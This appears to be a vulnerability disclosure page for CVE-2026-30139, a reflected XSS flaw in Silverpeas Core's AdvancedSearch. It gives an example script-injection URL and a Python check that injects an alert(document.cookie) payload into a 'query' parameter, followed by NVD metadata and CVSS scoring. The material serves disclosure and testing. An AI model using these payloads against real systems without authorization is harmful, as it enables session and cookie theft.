CVE-2026-30139

// PoC for CVE-2026-30139 Reflected XSS in Silverpeas Core // The vulnerability exists in the AdvancedSearch component. // Attackers can inject malicious scripts via the search query parameters. // Example malicious URL: // http://vulnerable-silverpeas-domain/Search/AdvancedSearch?query=<script>alert('XSS')</script> // Python script to verify the vulnerability: import requests def check_xss(target_url): payload = "<script>alert(document.cookie)</script>" # Inject payload into a potential search parameter (parameter name may vary based on actual implementation) # Assuming 'query' based on standard search functionality description attack_url = f"{target_url}?query={payload}" try: response = requests.get(attack_url) if payload in response.text: print(f"[+] Vulnerability Confirmed! Payload reflected in response from {target_url}") else: print("[-] Payload not reflected or escaped.") except Exception as e: print(f"Error: {e}") # Usage: check_xss("http://target-ip/Search/AdvancedSearch")

{"cve": {"id": "CVE-2026-30139", "sourceIdentifier": "[email protected]", "published": "2026-04-22T16:16:53.367", "lastModified": "2026-04-22T21:18:45.917", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability in the AdvancedSearch functionality of Silverpeas Core before version 6.4.6 allows attackers to execute arbitrary JavaScript in the context of a user's browser via crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/Silverpeas/Silverpeas-Core/pull/1421", "source": "[email protected]"}, {"url": "https://github.com/bodd1593/CVEs-huyle/tree/main/CVE-2026-30139", "source": "[email protected]"}, {"url": "https://github.com/bodd1593/CVEs-huyle/tree/main/CVE-2026-30139", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}